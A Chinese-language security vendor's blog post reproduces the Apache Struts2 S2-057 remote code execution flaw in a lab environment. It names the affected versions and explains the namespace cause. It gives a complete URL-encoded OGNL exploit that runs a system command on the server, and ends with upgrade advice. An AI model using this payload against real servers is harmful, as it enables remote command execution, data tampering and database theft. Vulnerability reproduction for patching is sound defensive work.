开发者社区> 网站安全者> 正文
阿里云
为了无法计算的价值
打开APP
阿里云APP内打开

网站apache环境S2-057漏洞 利用POC 远程执行命令漏洞复现

简介: S2-057漏洞,于2018年8月22日被曝出,该Struts2 057漏洞存在远程执行系统的命令,尤其使用linux系统,apache环境,影响范围较大,危害性较高,如果被攻击者利用直接提权到服务器管理员权限,网站数据被篡改,数据库被盗取都会发生。
+关注继续查看

S2-057漏洞,于2018年8月22日被曝出,该Struts2 057漏洞存在远程执行系统的命令,尤其使用linux系统,apache环境,影响范围较大,危害性较高,如果被攻击者利用直接提权到服务器管理员权限,网站数据被篡改,数据库被盗取都会发生。

目前我们SINE安全对该S2-057漏洞的测试,发现受影响的版本是Apache Struts 2.3–ApacheStruts2.3.34、Apache Struts2.5–Apache Struts2.5.16等系列版本。官方Apache已经紧急的对该S2-057漏洞进行了修复。

通过国外曝出来的漏洞poc,我们来介绍下Struts2漏洞该如何的利用:

S2-057漏洞产生于网站配置xml的时候,有一个namespace的值,该值并没有做详细的安全过滤导致可以写入到XML上,尤其url标签值也没有做通配符的过滤,导致可以执行远程代码,以及系统命令到服务器系统中去。

我们首先来搭建下struts2的环境,找一台windows服务器,使用一键部署工具部署好测试环境,vulhub环境也搭建好如下图:

接下来就是Struts2漏洞的利用与复现过程:

访问网站192.168.0.3:7080/struts2/${(sine+sine)}/actionChain.action

将${(sine+sine)}里的内容换成exp,EXP内容如下:

%24%7b(%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23a%3d%40java.lang.Runtime%40getRuntime().exec(%27calc%27).getInputStream()%2c%23b%3dnew+java.io.InputStreamReader(%23a)%2c%23c%3dnew++java.io.BufferedReader(%23b)%2c%23d%3dnew+char%5b51020%5d%2c%23c.read(%23d)%2c%23jas502n%3d+%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23jas502n.println(%23d+)%2c%23jas502n.close())%7d/actionChain.action

复制exp内容到浏览器执行,发现服务器会直接运行计算器如下图:

S2-057漏洞修复建议:

升级到Apache Struts最新版本2.3.35或者是Apache Struts最新版本2.5.17,直接升级即可官方已经做好漏洞补丁,完全兼容。

专注于安全领域 解决网站安全 解决网站被黑 网站被挂马 网站被篡改 网站安全、服务器安全提供商-www.sinesafe.com --专门解决其他人解决不了的网站安全问题.

版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。

相关文章
【Kylin】(二)Apache Kylin 环境搭建
【Kylin】(二)Apache Kylin 环境搭建
25 0
Day2-Java面试题实现线程的几种方式?
在Java面试中面试官常常会问这样一道面试题:Java面试题实现线程的几种方式? 这道题看似简单也会难道很多人,下面总结一些实现线程的几种方式。
22 0
突发。。Apache Log4j2 报核弹级漏洞。。赶紧修复。。
Apache Log4j2 报核弹级漏洞,栈长的朋友圈都炸锅了,很多程序猿都熬到半夜紧急上线,昨晚你睡了吗??
55 0
ECS使用体验 - 从0搭建一个带有live2d看板娘的博客
纯新手,琢磨了两天,记录一下搭建的步骤。 从0搭建一个带有live2d看板娘的博客 目标:使用用户test 运行 halo博客以及live2d-api,然后使用Nginx进行反代
313 0
Linux网络技术管理及进程管理(week2_day4)--技术流ken
Linux网络技术管理及进程管理(week2_day4)--技术流ken OSI七层模型和TCP/IP四层模型     OSI七层模型:OSI(Open System Interconnection)开放系统互连参考模型是国际标准化组织(ISO)制定的一个用于计算机或通信系统间互联的标准体系。
1389 0
微信公众号中 JavaScript 获取用户周边的标志性建筑列表
微信公众号中 JavaScript 获取用户周边的标志性建筑列表 太阳火神的美丽人生 (http://blog.csdn.net/opengl_es) 本文遵循“署名-非商业用途-保持一致”创作公用协议 转载请保留此句:太阳火神的美丽人生 -  本博客专注于 敏捷开发及移动和物联设备研究:iOS、Android、Html5、Arduino、pcDuino,否则,出自本博客的文章拒绝转载或再转载,谢谢合作。
1303 0
linux 进程监控命令2——ps
整理自网络 平时linux进程查看还是比较常用的,于是我研究了一下linux ps命令的使用方式,在这里拿出来和大家分享一下,希望对大家有用。 1. ps简介 前面介绍的两个命令(who、w命令)都是用于查看当前系统用户的情况,下面就来看看进程的情况,这也是本章的主题。
918 0
+关注
网站安全者
Sinesafe专注于网站安全,服务器安全,解决各类网络安全问题防入侵防篡改,对代码审计以及漏洞修补安全加固有专业的十年实战经验.
64
文章
0
问答
文章排行榜
最热
最新
相关电子书
更多
低代码开发师(初级)实战教程
立即下载
阿里巴巴DevOps 最佳实践手册
立即下载
冬季实战营第三期:MySQL数据库进阶实战
立即下载